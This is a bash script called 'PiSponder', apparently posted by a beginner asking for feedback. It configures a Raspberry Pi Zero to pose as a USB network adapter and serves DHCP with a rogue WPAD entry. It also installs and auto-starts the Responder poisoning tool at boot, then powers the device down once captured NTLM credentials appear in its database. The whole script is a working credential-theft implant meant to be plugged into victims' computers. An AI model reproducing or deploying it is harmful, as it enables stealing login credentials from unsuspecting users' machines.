pisponder.sh 1.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869
  1. #!/bin/bash
  2. # This is my first script and it is called "PiSponder"
  3. # Please tell me what I can improve upon
  4. # This script will only work on the Raspberry Pi Zero
  5. if [ $EUID -ne 0 ]; then
  6. echo "You must use sudo to run this script:"
  7. echo "sudo $0 $@"
  8. exit
  9. fi
  10. apt-get update
  11. ## Setup the PiZero to look like a USB to Ethernet
  12. cd /boot
  13. sed -i -r -e 's/(rootwait)/\1 modules-load=dwc2,g_ether/' cmdline.txt
  14. sed -i -e "\$adtoverlay=dwc2" config.txt
  15. ## Configure static IP for usb0
  16. cat <<'EOF'>>/etc/network/interfaces
  17. auto usb0
  18. allow-hotplug usb0
  19. iface usb0 inet static
  20. address 192.168.1.88
  21. netmask 255.255.255.0
  22. EOF
  23. ##Install and configure dnsmasq
  24. apt-get install -y dnsmasq
  25. cat <<'EOF'>>/etc/dnsmasq.conf
  26. interface=usb0
  27. dhcp-range=192.168.1.89,192.168.1.96,255.255.255.0,1h
  28. dhcp-authoritative
  29. dhcp-option=252,http://192.168.1.88/wpad.dat
  30. log-queries
  31. log-dhcp
  32. port=0
  33. EOF
  34. ##Install Responder and dependencies
  35. apt-get install -y python git python-pip python-dev screen sqlite3 inotify-tools
  36. pip install pycrypto
  37. git clone https://github.com/lgandx/Responder.git /opt/responder
  38. ##Start Responder at bootup
  39. sed -i '/exit/d' /etc/rc.local
  40. cat <<'EOF'>>/etc/rc.local
  41. # Start Responder
  42. /usr/bin/screen -dmS responder bash -c 'cd /opt/responder/; python Responder.py -I usb0 -f -w -r -d -F'
  43. EOF
  44. ## Stop Responder when its done grabbing NTLM creds and shut down PiZero
  45. ## Comment out everything from here down except for exit 0 if you don't want it to shut down the PiZero after it gets the creds
  46. cat <<'EOF'>>/etc/rc.local
  47. # Shutdown once creds have been obtained
  48. /usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /opt/responder/Responder.db; do shutdown -h now; done'
  49. exit 0
  50. EOF